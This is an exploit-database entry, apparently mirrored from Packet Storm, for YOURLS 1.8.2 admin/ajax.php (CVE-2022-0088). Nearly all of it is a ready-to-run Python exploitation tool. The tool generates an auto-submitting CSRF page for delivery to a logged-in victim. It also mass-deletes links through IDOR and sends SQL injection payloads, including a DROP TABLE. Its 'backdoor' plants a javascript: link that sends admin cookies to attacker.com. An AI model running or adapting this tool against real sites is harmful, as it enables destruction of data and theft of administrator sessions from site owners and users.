Lucene search
K

📄 YOURLS 1.8.2 CSRF / IDOR / Missing Authorization

🗓️ 08 Dec 2025 00:00:00Reported by indoushkaType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 130 Views

YOURLS 1.8.2 has cross site request forgery, insecure direct object reference, and missing authorization on admin/ajax.php.

Related
Code
ReporterTitlePublishedViews
Family
ATTACKERKB
CVE-2022-0088
3 Apr 202209:15
attackerkb
Circl
CVE-2022-0088
3 Dec 202521:02
circl
CNNVD
YOURLS 跨站请求伪造漏洞
3 Apr 202200:00
cnnvd
CVE
CVE-2022-0088
3 Apr 202208:50
cve
Cvelist
CVE-2022-0088 Cross-Site Request Forgery (CSRF) in yourls/yourls
3 Apr 202208:50
cvelist
Huntr
Cross-Site Request Forgery (CSRF) in yourls/yourls
24 Dec 202108:30
huntr
Exploit DB
YOURLS 1.8.2 - Cross-Site Request Forgery (CSRF)
2 Dec 202500:00
exploitdb
EUVD
EUVD-2022-1750
3 Oct 202520:07
euvd
Github Security Blog
Cross-Site Request Forgery in YOURLS
4 Apr 202200:00
github
NVD
CVE-2022-0088
3 Apr 202209:15
nvd
Rows per page
=============================================================================================================================================
    | # Title     : YOURLS 1.8.2 AJAX Endpoint Vulnerabilities                                                                                  |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.2 (64 bits)                                                            |
    | # Vendor    : https://github.com/yourls/yourls/                                                                                           |
    =============================================================================================================================================
    
    [+] References : https://packetstorm.news/files/id/212395/ & 	CVE-2022-0088
    
    [+] Summary : Critical security vulnerabilities in YOURLS /admin/ajax.php endpoint that allow attackers 
                  to perform unauthorized actions, access other users' data, and potentially compromise the entire system.
    			 
    [+] Vulnerabilities: CSRF, IDOR, Missing Authorization, Missing Input Validation			 
    			  
    [+]  POC : python poc.py
    
    #!/usr/bin/env python3
    """
    Author: indoushka
    """
    
    import requests
    import json
    import sys
    import argparse
    import hashlib
    import re
    from urllib.parse import urljoin
    from colorama import Fore, Style, init
    
    # Initialize colorama
    init(autoreset=True)
    
    class YOURLS_Exploiter:
        def __init__(self, target_url, session_cookie=None, csrf_token=None):
            self.base_url = target_url.rstrip('/')
            self.ajax_url = urljoin(self.base_url, 'admin/ajax.php')
            self.session = requests.Session()
            
            if session_cookie:
                self.session.headers.update({'Cookie': session_cookie})
            
            self.session.headers.update({
                'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
                'Accept': 'application/json, text/javascript, */*; q=0.01',
                'Accept-Language': 'en-US,en;q=0.5',
                'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',
                'X-Requested-With': 'XMLHttpRequest',
                'Referer': urljoin(self.base_url, 'admin/')
            })
            
            self.csrf_token = csrf_token
            self.vulnerabilities = []
        
        def print_banner(self):
            banner = f"""
    {Fore.RED}╔══════════════════════════════════════════════════════════════╗
    ║        YOURLS AJAX Endpoint Unified Exploitation Tool       ║
    ║        Multiple Vulnerabilities Exploiter                   ║
    ╚══════════════════════════════════════════════════════════════╝{Style.RESET_ALL}
            """
            print(banner)
        
        def detect_vulnerabilities(self):
            """Detect all potential vulnerabilities"""
            print(f"{Fore.CYAN}[*] Scanning for vulnerabilities...{Style.RESET_ALL}")
            
            # Test 1: CSRF Vulnerability
            self.test_csrf()
            
            # Test 2: IDOR Vulnerability
            self.test_idor()
            
            # Test 3: Missing Input Validation
            self.test_input_validation()
            
            # Test 4: Information Disclosure
            self.test_info_disclosure()
            
            # Test 5: SQL Injection
            self.test_sql_injection()
            
            # Print summary
            self.print_summary()
        
        def test_csrf(self):
            """Test for CSRF vulnerability"""
            print(f"\n{Fore.YELLOW}[+] Testing CSRF Protection...{Style.RESET_ALL}")
            
            # Try to make a request without CSRF token
            test_data = {
                'action': 'add',
                'url': 'http://test.com',
                'keyword': 'test123',
                'nonce': 'dummy_nonce'
            }
            
            try:
                response = self.session.post(self.ajax_url, data=test_data, timeout=10)
                
                if response.status_code == 200:
                    try:
                        resp_json = response.json()
                        if 'status' in resp_json and resp_json['status'] == 'success':
                            print(f"{Fore.RED}[!] CSRF VULNERABLE: Action executed without proper CSRF protection{Style.RESET_ALL}")
                            self.vulnerabilities.append({
                                'name': 'CSRF',
                                'severity': 'High',
                                'description': 'Actions can be performed without CSRF token validation'
                            })
                        else:
                            print(f"{Fore.GREEN}[-] CSRF protection appears to be working{Style.RESET_ALL}")
                    except:
                        print(f"{Fore.YELLOW}[-] Could not parse response{Style.RESET_ALL}")
            except Exception as e:
                print(f"{Fore.RED}[-] Error: {str(e)}{Style.RESET_ALL}")
        
        def test_idor(self):
            """Test for Insecure Direct Object Reference"""
            print(f"\n{Fore.YELLOW}[+] Testing IDOR Vulnerability...{Style.RESET_ALL}")
            
            # First, create a link to get a valid ID
            print(f"    Step 1: Creating test link...")
            
            create_data = {
                'action': 'add',
                'url': 'http://victim-test.com',
                'keyword': 'victimlink',
                'nonce': self.get_nonce('add_url')
            }
            
            try:
                response = self.session.post(self.ajax_url, data=create_data, timeout=10)
                
                if response.status_code == 200:
                    # Try to access other IDs
                    print(f"    Step 2: Attempting IDOR enumeration...")
                    
                    for link_id in range(1, 11):
                        test_data = {
                            'action': 'delete',
                            'id': link_id,
                            'keyword': f'test{link_id}',
                            'nonce': self.get_nonce(f'delete-link_{link_id}')
                        }
                        
                        response = self.session.post(self.ajax_url, data=test_data, timeout=5)
                        
                        if response.status_code == 200:
                            try:
                                resp_json = response.json()
                                if 'success' in resp_json and resp_json['success']:
                                    print(f"{Fore.RED}[!] IDOR VULNERABLE: Can delete link ID {link_id}{Style.RESET_ALL}")
                                    self.vulnerabilities.append({
                                        'name': 'IDOR',
                                        'severity': 'High',
                                        'description': f'Can access/delete link ID {link_id} without ownership verification'
                                    })
                                    break
                            except:
                                pass
            except Exception as e:
                print(f"{Fore.RED}[-] Error: {str(e)}{Style.RESET_ALL}")
        
        def test_input_validation(self):
            """Test for missing input validation"""
            print(f"\n{Fore.YELLOW}[+] Testing Input Validation...{Style.RESET_ALL}")
            
            # Test XSS in URL field
            xss_payloads = [
                'javascript:alert(document.cookie)',
                'data:text/html,<script>alert(1)</script>',
                '" onmouseover="alert(1)"',
                '<svg onload=alert(1)>'
            ]
            
            for payload in xss_payloads:
                test_data = {
                    'action': 'add',
                    'url': payload,
                    'keyword': f'xss{hashlib.md5(payload.encode()).hexdigest()[:6]}',
                    'nonce': self.get_nonce('add_url')
                }
                
                try:
                    response = self.session.post(self.ajax_url, data=test_data, timeout=5)
                    
                    if response.status_code == 200:
                        resp_text = response.text.lower()
                        if 'alert' in resp_text or 'script' in resp_text:
                            print(f"{Fore.RED}[!] XSS VULNERABLE: Payload accepted - {payload[:30]}...{Style.RESET_ALL}")
                            self.vulnerabilities.append({
                                'name': 'XSS',
                                'severity': 'Medium',
                                'description': f'XSS payload accepted: {payload[:50]}'
                            })
                            break
                except:
                    pass
            
            # Test SQL Injection
            sql_payloads = [
                "' OR '1'='1",
                "test'; DROP TABLE yourls_url; --",
                "1' UNION SELECT 1,2,3,4 --"
            ]
            
            for payload in sql_payloads:
                test_data = {
                    'action': 'add',
                    'url': f'http://{payload}.com',
                    'keyword': f'sql{hashlib.md5(payload.encode()).hexdigest()[:6]}',
                    'nonce': self.get_nonce('add_url')
                }
                
                try:
                    response = self.session.post(self.ajax_url, data=test_data, timeout=5)
                    
                    if 'sql' in response.text.lower() or 'union' in response.text.lower():
                        print(f"{Fore.RED}[!] SQL INJECTION POSSIBLE: Payload triggered response{Style.RESET_ALL}")
                        self.vulnerabilities.append({
                            'name': 'SQL Injection',
                            'severity': 'Critical',
                            'description': f'SQL payload may be injectable: {payload[:50]}'
                        })
                        break
                except:
                    pass
        
        def test_info_disclosure(self):
            """Test for information disclosure"""
            print(f"\n{Fore.YELLOW}[+] Testing Information Disclosure...{Style.RESET_ALL}")
            
            # Try to access error messages
            test_data = {
                'action': 'invalid_action',
                'nonce': 'invalid_nonce'
            }
            
            try:
                response = self.session.post(self.ajax_url, data=test_data, timeout=5)
                
                if response.status_code == 200:
                    # Look for error messages that reveal information
                    error_indicators = [
                        'mysql', 'database', 'sql', 'query failed',
                        'on line', 'stack trace', 'fatal error',
                        'warning:', 'notice:', 'undefined'
                    ]
                    
                    for indicator in error_indicators:
                        if indicator in response.text.lower():
                            print(f"{Fore.RED}[!] INFO DISCLOSURE: {indicator} found in response{Style.RESET_ALL}")
                            self.vulnerabilities.append({
                                'name': 'Information Disclosure',
                                'severity': 'Low',
                                'description': f'Sensitive information disclosed: {indicator}'
                            })
                            break
            except Exception as e:
                pass
        
        def test_sql_injection(self):
            """Test for SQL injection vulnerabilities"""
            print(f"\n{Fore.YELLOW}[+] Testing SQL Injection...{Style.RESET_ALL}")
            
            # Time-based SQL injection test
            time_payloads = [
                ("' OR SLEEP(5) --", "MySQL sleep"),
                ("'; WAITFOR DELAY '00:00:05' --", "MSSQL delay"),
                ("' AND 1=IF(1=1,SLEEP(5),0) --", "Conditional sleep")
            ]
            
            for payload, description in time_payloads:
                test_data = {
                    'action': 'add',
                    'url': f'http://test{payload}.com',
                    'keyword': f'time{hashlib.md5(payload.encode()).hexdigest()[:6]}',
                    'nonce': self.get_nonce('add_url')
                }
                
                try:
                    import time
                    start_time = time.time()
                    response = self.session.post(self.ajax_url, data=test_data, timeout=10)
                    end_time = time.time()
                    
                    if end_time - start_time > 4:
                        print(f"{Fore.RED}[!] BLIND SQL INJECTION: Time-based delay detected ({description}){Style.RESET_ALL}")
                        self.vulnerabilities.append({
                            'name': 'Blind SQL Injection',
                            'severity': 'Critical',
                            'description': f'Time-based SQLi: {description}'
                        })
                        break
                except requests.exceptions.Timeout:
                    print(f"{Fore.RED}[!] BLIND SQL INJECTION: Request timeout ({description}){Style.RESET_ALL}")
                    self.vulnerabilities.append({
                        'name': 'Blind SQL Injection',
                        'severity': 'Critical',
                        'description': f'Timeout on: {description}'
                    })
                    break
                except:
                    pass
        
        def get_nonce(self, action):
            """Extract or generate nonce"""
            if self.csrf_token:
                return self.csrf_token
            
            # Try to extract nonce from admin page
            try:
                admin_url = urljoin(self.base_url, 'admin/')
                response = self.session.get(admin_url, timeout=5)
                
                # Look for nonce in HTML
                nonce_patterns = [
                    r'name="nonce" value="([^"]+)"',
                    r'nonce=([a-f0-9]+)',
                    r'nonce:[\'"]([a-f0-9]+)[\'"]'
                ]
                
                for pattern in nonce_patterns:
                    matches = re.search(pattern, response.text, re.IGNORECASE)
                    if matches:
                        return matches.group(1)
            except:
                pass
            
            # Return dummy nonce for testing
            return 'test_nonce_123'
        
        def print_summary(self):
            """Print vulnerability summary"""
            print(f"\n{Fore.CYAN}{'='*60}{Style.RESET_ALL}")
            print(f"{Fore.CYAN}[*] VULNERABILITY SUMMARY{Style.RESET_ALL}")
            print(f"{Fore.CYAN}{'='*60}{Style.RESET_ALL}")
            
            if not self.vulnerabilities:
                print(f"{Fore.GREEN}[+] No vulnerabilities detected{Style.RESET_ALL}")
                return
            
            for i, vuln in enumerate(self.vulnerabilities, 1):
                color = Fore.RED if vuln['severity'] in ['High', 'Critical'] else Fore.YELLOW
                print(f"{color}[{i}] {vuln['name']} ({vuln['severity']}){Style.RESET_ALL}")
                print(f"    {vuln['description']}")
        
        def exploit_csrf(self, target_url, malicious_url, keyword):
            """Generate CSRF exploit"""
            print(f"\n{Fore.RED}[*] Generating CSRF Exploit...{Style.RESET_ALL}")
            
            exploit_html = f"""<!DOCTYPE html>
    <html>
    <head>
        <title>YOURLS CSRF Exploit</title>
    </head>
    <body>
        <h1>CSRF Attack - YOURLS Link Addition</h1>
        
        <form id="csrfForm" action="{self.ajax_url}" method="POST">
            <input type="hidden" name="action" value="add">
            <input type="hidden" name="url" value="{malicious_url}">
            <input type="hidden" name="keyword" value="{keyword}">
            <input type="hidden" name="nonce" value="{self.get_nonce('add_url')}">
        </form>
        
        <script>
            // Auto-submit the form
            document.getElementById('csrfForm').submit();
            
            // Alternative: Iframe injection
            function stealthSubmit() {{
                var iframe = document.createElement('iframe');
                iframe.style.display = 'none';
                iframe.name = 'csrfFrame';
                document.body.appendChild(iframe);
                
                var form = document.getElementById('csrfForm');
                form.target = 'csrfFrame';
                form.submit();
            }}
            
            // Uncomment for stealth mode
            // window.onload = stealthSubmit;
        </script>
        
        <p>If the form doesn't auto-submit, <a href="#" onclick="document.getElementById('csrfForm').submit(); return false;">click here</a>.</p>
    </body>
    </html>"""
            
            filename = f"csrf_exploit_{keyword}.html"
            with open(filename, 'w') as f:
                f.write(exploit_html)
            
            print(f"{Fore.GREEN}[+] CSRF exploit saved to: {filename}{Style.RESET_ALL}")
            print(f"{Fore.YELLOW}[*] Send this file to victim while they're logged into YOURLS{Style.RESET_ALL}")
            
            return filename
        
        def exploit_idor(self, start_id=1, end_id=100):
            """Exploit IDOR vulnerability to enumerate links"""
            print(f"\n{Fore.RED}[*] Exploiting IDOR Vulnerability...{Style.RESET_ALL}")
            
            found_links = []
            
            for link_id in range(start_id, end_id + 1):
                # Try to edit display
                test_data = {
                    'action': 'edit_display',
                    'id': link_id,
                    'keyword': f'test{link_id}',
                    'nonce': self.get_nonce(f'edit-link_{link_id}')
                }
                
                try:
                    response = self.session.post(self.ajax_url, data=test_data, timeout=5)
                    
                    if response.status_code == 200:
                        try:
                            resp_json = response.json()
                            if 'html' in resp_json and 'keyword' in resp_json['html'].lower():
                                print(f"{Fore.GREEN}[+] Found link ID {link_id}{Style.RESET_ALL}")
                                found_links.append({
                                    'id': link_id,
                                    'html': resp_json['html'][:100]
                                })
                        except:
                            if 'keyword' in response.text.lower() or 'url' in response.text.lower():
                                print(f"{Fore.GREEN}[+] Possible link ID {link_id}{Style.RESET_ALL}")
                                found_links.append({
                                    'id': link_id,
                                    'response': response.text[:100]
                                })
                except:
                    pass
            
            if found_links:
                print(f"\n{Fore.GREEN}[+] Found {len(found_links)} accessible links{Style.RESET_ALL}")
                for link in found_links:
                    print(f"    ID {link['id']}: {link.get('html', link.get('response', 'No data'))}")
            
            return found_links
        
        def mass_link_deletion(self, start_id=1, end_id=50):
            """Mass deletion via IDOR"""
            print(f"\n{Fore.RED}[*] Attempting Mass Link Deletion...{Style.RESET_ALL}")
            
            deleted = []
            
            for link_id in range(start_id, end_id + 1):
                test_data = {
                    'action': 'delete',
                    'id': link_id,
                    'keyword': f'del{link_id}',
                    'nonce': self.get_nonce(f'delete-link_{link_id}')
                }
                
                try:
                    response = self.session.post(self.ajax_url, data=test_data, timeout=3)
                    
                    if response.status_code == 200:
                        try:
                            resp_json = response.json()
                            if 'success' in resp_json and resp_json['success']:
                                print(f"{Fore.RED}[!] Deleted link ID {link_id}{Style.RESET_ALL}")
                                deleted.append(link_id)
                        except:
                            if 'success' in response.text.lower():
                                print(f"{Fore.RED}[!] Possibly deleted link ID {link_id}{Style.RESET_ALL}")
                                deleted.append(link_id)
                except:
                    pass
            
            return deleted
        
        def create_backdoor(self):
            """Create persistent backdoor via XSS or malicious link"""
            print(f"\n{Fore.RED}[*] Creating Persistent Backdoor...{Style.RESET_ALL}")
            
            # Create malicious shortened link with XSS
            xss_payload = "javascript:fetch('https://attacker.com/steal?cookie='+document.cookie)"
            
            backdoor_data = {
                'action': 'add',
                'url': xss_payload,
                'keyword': 'admin-panel',
                'nonce': self.get_nonce('add_url')
            }
            
            try:
                response = self.session.post(self.ajax_url, data=backdoor_data, timeout=10)
                
                if response.status_code == 200:
                    print(f"{Fore.GREEN}[+] Backdoor link created: {self.base_url}/admin-panel{Style.RESET_ALL}")
                    print(f"{Fore.YELLOW}[*] When admin visits this link, cookies will be sent to attacker{Style.RESET_ALL}")
            except Exception as e:
                print(f"{Fore.RED}[-] Failed to create backdoor: {str(e)}{Style.RESET_ALL}")
    
    def main():
        parser = argparse.ArgumentParser(
            description="YOURLS AJAX Endpoint Exploitation Tool",
            formatter_class=argparse.RawDescriptionHelpFormatter
        )
        
        parser.add_argument("-u", "--url", required=True, help="Target YOURLS base URL")
        parser.add_argument("-c", "--cookie", help="Session cookie (e.g., PHPSESSID=abc123)")
        parser.add_argument("-t", "--token", help="CSRF/nonce token")
        parser.add_argument("-s", "--scan", action="store_true", help="Scan for vulnerabilities")
        parser.add_argument("-x", "--exploit", choices=['csrf', 'idor', 'mass', 'backdoor'], help="Exploit specific vulnerability")
        parser.add_argument("--csrf-url", help="URL for CSRF exploit (with --exploit csrf)")
        parser.add_argument("--keyword", help="Custom keyword for links")
        parser.add_argument("--start-id", type=int, default=1, help="Start ID for IDOR enumeration")
        parser.add_argument("--end-id", type=int, default=50, help="End ID for IDOR enumeration")
        
        args = parser.parse_args()
        
        if not args.scan and not args.exploit:
            print(f"{Fore.RED}[-] Please specify --scan or --exploit{Style.RESET_ALL}")
            return
        
        # Initialize exploiter
        exploiter = YOURLS_Exploiter(args.url, args.cookie, args.token)
        exploiter.print_banner()
        
        if args.scan:
            exploiter.detect_vulnerabilities()
        
        if args.exploit:
            if args.exploit == 'csrf':
                if not args.csrf_url:
                    print(f"{Fore.RED}[-] Please specify --csrf-url for CSRF exploit{Style.RESET_ALL}")
                    return
                
                keyword = args.keyword or f"mal_{hashlib.md5(args.csrf_url.encode()).hexdigest()[:8]}"
                exploiter.exploit_csrf(args.url, args.csrf_url, keyword)
            
            elif args.exploit == 'idor':
                found = exploiter.exploit_idor(args.start_id, args.end_id)
                if found:
                    print(f"\n{Fore.GREEN}[+] IDOR exploitation complete{Style.RESET_ALL}")
            
            elif args.exploit == 'mass':
                confirm = input(f"{Fore.RED}[!] This will attempt to delete multiple links. Continue? (y/n): {Style.RESET_ALL}")
                if confirm.lower() == 'y':
                    deleted = exploiter.mass_link_deletion(args.start_id, args.end_id)
                    print(f"\n{Fore.RED}[!] Attempted to delete {len(deleted)} links{Style.RESET_ALL}")
            
            elif args.exploit == 'backdoor':
                exploiter.create_backdoor()
    
    if __name__ == "__main__":
        main()
    	
    	
    Greetings to :=====================================================================================
    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
    ===================================================================================================

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation